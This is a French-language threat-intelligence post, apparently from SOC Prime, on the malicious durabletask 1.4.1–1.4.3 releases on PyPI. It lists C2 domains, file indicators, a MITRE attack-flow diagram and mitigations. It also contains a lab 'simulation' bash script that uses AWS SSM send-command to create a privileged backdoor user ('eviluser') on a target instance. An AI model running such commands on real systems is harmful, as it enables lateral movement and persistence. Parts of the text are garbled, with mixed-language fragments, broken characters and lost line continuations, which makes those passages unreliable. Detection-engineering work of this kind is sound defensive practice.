SOC Prime Bias: Critique

22 May 2026 12:36 UTC

durabletask : La dernière compromission de la chaîne d’approvisionnement PyPI par TeamPCP

Author Photo
SOC Prime Team linkedin icon Suivre
durabletask : La dernière compromission de la chaîne d’approvisionnement PyPI par TeamPCP
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Une attaque de la chaîne d’approvisionnement a visé le Microsoft durabletask package Python sur PyPI, entraînant la publication de versions malveillantes 1.4.1, 1.4.2, et 1.4.3. L’attaquant aurait exploité un compte GitHub compromis pour obtenir un jeton PyPI et télécharger des fichiers wheel armés. La charge utile malveillante a été livrée via rope.pyz archives conçues pour voler des identifiants cloud et se propager vers des systèmes supplémentaires. Les efforts de détection devraient se concentrer sur les fichiers temporaires spécifiques, les activités de processus suspectes et le trafic vers les domaines de commande et de contrôle identifiés.

Enquête

Wiz a lié le compte GitHub compromis à la campagne précédente @antv . Leur analyse a révélé que l’attaquant a réutilisé les messages de commit et accédé à des secrets GitHub divulgués contenant le jeton de publication PyPI. Les fichiers wheel malveillants incluaient un component transformers.pyz qui déposait rope.pyz des charges utiles dans /tmp et initiait une communication de commandement et de contrôle avec check.git-service.com and t.m-kosche.com.

Atténuation

Les organisations devraient tourner tous les identifiants cloud ou gestionnaire de mots de passe potentiellement exposés, bloquer les domaines et URL de commande et de contrôle identifiés, et rechercher des indicateurs d’infection tels que ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Tout fichier managed.pyz or rope-*.pyz temporaire devrait être supprimé et les processus Python associés devraient être arrêtés. Les workflows d’actions GitHub et de publication PyPI devraient également être renforcés pour réduire le risque de compromission similaire.

Réponse

Les équipes de sécurité devraient identifier toute utilisation des durabletask versions 1.4.1 jusqu’à 1.4.3, rechercher /tmp/managed.pyz and /tmp/rope-*.pyz, et surveiller les processus python3 exécutant ces fichiers. Le trafic DNS et HTTP sortant vers processes executing those files. Outbound DNS and HTTP traffic to check.git-service.com and t.m-kosche.com devrait être bloqué, tandis que les journaux d’audit CloudTrail et Kubernetes devraient être vérifiés pour les activités suspectes de SSM ou kubectl exec . Les identifiants affectés devraient être immédiatement renouvelés, et les journaux des gestionnaires de mots de passe doivent être vérifiés pour détecter des signes de force brute ou d’accès non autorisé.

« graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef credential fill:#ffff99 classDef operator fill:#ff9900 classDef c2 fill:#ffb6c1 %% Nodes initial_node[« Début : L’attaquant obtient des informations d’identification GitHub valides »] class initial_node action action_initial_access[« ActionT1078 Comptes Valides : Le compte GitHub compromis fournit un accès au référentiel »] class action_initial_access action tool_gitHub[« OutilNom : GitHub
Rôle : Plateforme d’hébergement de code source »] class tool_gitHub tool action_cred_exploit[« ActionT1212 Exploitation pour l’Accès aux Informations d’Identification : Secrets GitHub vidés pour obtenir le jeton PyPI »] class action_cred_exploit action file_pypi_token[« FichierNom : Jeton PyPI »] class file_pypi_token file action_cred_password_stores[« ActionT1555.005 Gestionnaires de Mots de Passe & T1555.006 Magasins de Secrets Cloud : Informations d’identification récoltées pour les plateformes cloud et les gestionnaires de mots de passe »] class action_cred_password_stores action credential_aws[« Identifiant : Clés d’accès AWS et jeton SSM »] class credential_aws credential credential_azure[« Identifiant : Principal de service Azure »] class credential_azure credential credential_gcp[« Identifiant : Compte de service GCP »] class credential_gcp credential credential_k8s[« Identifiant : Jeton du compte de service Kubernetes »] class credential_k8s credential credential_vault[« Identifiant : Jeton HashiCorp Vault »] class credential_vault credential action_supply_chain[« ActionT1195.002 Compromettre la Chaîne d’Approvisionnement Logicielle : Utilisé le jeton PyPI pour publier des paquets durabletask 1.4.1u20111.4.3 malveillants »] class action_supply_chain action tool_pypi[« OutilNom : Référentiel PyPI »] class tool_pypi tool malware_durabletask[« Logiciel MalveillantNom : Paquet durabletask (malveillant) »] class malware_durabletask malware action_execution[« ActionT1204.002 Exécution par l’Utilisateur : Fichier Malveillant : Les victimes installent le paquet compromis provoquant le téléchargement de la charge utile »] class action_execution action file_managed[« FichierChemin : /tmp/managed.pyz »] class file_managed file file_rope[« FichierChemin : /tmp/rope-*.pyz »] class file_rope file action_defense_evasion[« ActionT1127 Exécution de Proxy d’Utilitaires de Développeur de Confiance : Code malveillant exécuté via les hooks d’importation Python »] class action_defense_evasion action action_persistence[« ActionT1176 Extensions Logicielles : Points d’injection dans __init__.py et d’autres modules »] class action_persistence action action_credential_dumping[« ActionT1003 Vidage d’Informations d’Identification du Système : Extraction de jetons SSM AWS, jetons Kubernetes et historique du shell »] class action_credential_dumping action action_lateral_movement[« ActionT1570 Transfert d’Outil Latéral : Propagation à des hôtes supplémentaires via AWS SSM et Kubernetes exec »] class action_lateral_movement action tool_aws_ssm[« OutilNom : AWS SSM »] class tool_aws_ssm tool tool_k8s_exec[« OutilNom : Kubernetes exec »] class tool_k8s_exec tool op_and((« ET »)) class op_and operator action_c2[« ActionT1219 Outils d’Accès à Distance & T1071.001 Protocoles Web : Communique avec les domaines C2 en utilisant le point de terminaison /v1/models »] class action_c2 action c2_domain1[« Domaine C2 : check.git-service.com »] class c2_domain1 c2 c2_domain2[« Domaine C2 : t.mu2011kosche.com »] class c2_domain2 c2 action_exfiltration[« ActionT1048 Exfiltration par un Protocole Alternatif : Données envoyées au point de terminaison /api/public/version »] class action_exfiltration action exfil_endpoint[« Point de Terminaison : /api/public/version »] class exfil_endpoint c2 %% Connections initial_node –>|conduit à| action_initial_access action_initial_access –>|active| action_cred_exploit action_cred_exploit –>|capture| file_pypi_token file_pypi_token –>|utilisé par| action_supply_chain action_supply_chain –>|publie| malware_durabletask malware_durabletask –>|installé par| action_execution action_execution –>|télécharge| file_managed action_execution –>|télécharge| file_rope file_managed –>|exécuté via| action_defense_evasion file_rope –>|exécuté via| action_defense_evasion action_defense_evasion –>|établit| action_persistence action_persistence –>|active| action_credential_dumping action_credential_dumping –>|collecte| credential_aws action_credential_dumping –>|collecte| credential_azure action_credential_dumping –>|collecte| credential_gcp action_credential_dumping –>|collecte| credential_k8s action_credential_dumping –>|collecte| credential_vault credential_aws –>|utilisé pour| action_lateral_movement credential_k8s –>|utilisé pour| action_lateral_movement action_lateral_movement –>|utilise| tool_aws_ssm action_lateral_movement –>|utilise| tool_k8s_exec action_lateral_movement –>|s’étend à| op_and op_and –>|connecte à| action_c2 action_c2 –>|contacte| c2_domain1 action_c2 –>|contacte| c2_domain2 c2_domain1 –>|reçoit des données via| action_exfiltration c2_domain2 –>|reçoit des données via| action_exfiltration action_exfiltration –>|envoie à| exfil_endpoint « 

Flux d’Attaque

Exécution de Simulation

Pré-requis : Le Contrôle de Pré-Vol de Télémétrie et de Référence doit être passé.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour activer la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narrative d’Attaque & Commandes :
    Un adversaire a obtenu des informations d’identification sur une instance EC2 compromise (Instance A). En utilisant ces identifiants, l’attaquant utilise AWS Systems Manager pour infiltrer une deuxième instance (Instance B) sans ouvrir aucun port réseau. Les étapes sont :

    1. Énumérer les instances accessibles via SSM:DescribeInstanceInformation pour localiser les cibles.
    2. Envoyer une commande malveillante jusqu’à SSM:SendCommand (par exemple, créer un nouvel utilisateur privilégié) sur l’instance cible.
    3. Valider l’exécution en récupérant la sortie de la commande.

    L’attaquant utilise l’AWS CLI, ce qui génère directement des événements CloudTrail pour les deux appels API, satisfaisant les conditions de la règle.

  • Script de Test de Régression : Le script ci-dessous reproduit l’attaque dans un laboratoire contrôlé. Il s’attend à ce que l’AWS CLI soit configuré avec des informations d’identification qui ont ssm:SendCommand and ssm:DescribeInstanceInformation ssm:SendCommand

    #!/usr/bin/env bash
    set -euo pipefail
    
    # -------------------------------------------------
    # Variables – adaptez à votre environnement de laboratoire
    # -------------------------------------------------
    REGION="us-east-1"
    COMPROMISED_INSTANCE="i-0abcdef1234567890"   # Instance A (point d'appui de l'attaquant)
    TARGET_INSTANCE="i-0fedcba9876543210"       # Instance B (cible latérale)
    
    # 1️⃣ Énumérer les instances gérées par SSM (déclenche DescribeInstanceInformation)
    echo "[*] Énumération des instances gérées par SSM..."
    aws ssm describe-instance-information 
        --region "$REGION" 
        --output json > /tmp/ssm_instances.json
    
    # 2️⃣ Envoyer une charge utile malveillante à $TARGET_INSTANCE ..."
    MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser"
    aws ssm send-command 
        --instance-ids "$TARGET_INSTANCE" 
        --document-name "AWS-RunShellScript" 
        --comment "Conserver l'utilisateur malveillant" 
        --parameters commands=["$MALICIOUS_CMD"] 
        --region "$REGION" 
        --output json > /tmp/ssm_sendcommand.json
    
    # 3️⃣ Récupérer l'ID de la commande et attendre l'exécution (facultatif)
    CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json)
    echo "[*] ID de Commande: $CMD_ID – attente de l'exécution..."
    aws ssm list-command-invocations 
        --command-id "$CMD_ID" 
        --details 
        --region "$REGION" 
        --output json
    
    echo "[+] Simulation complète. CloudTrail devrait maintenant contenir à la fois des événements SSM:DescribeInstanceInformation et SSM:SendCommand."
  • Commandes de Nettoyage : Supprimez l’utilisateur malveillant et supprimez tout historique de commande résiduel.

    #!/usr/bin/env bash
    set -euo pipefail
    
    REGION="us-east-1"
    TARGET_INSTANCE="i-0fedcba9876543210"
    
    echo "[*] Nettoyage des artefacts malveillants sur $TARGET_INSTANCE ..."
    CLEANUP_CMD="userdel -r eviluser || true"
    aws ssm send-command 
        --instance-ids "$TARGET_INSTANCE" 
        --document-name "AWS-RunShellScript" 
        --comment "Nettoyage après le test" 
        --parameters commands=["$CLEANUP_CMD"] 
        --region "$REGION"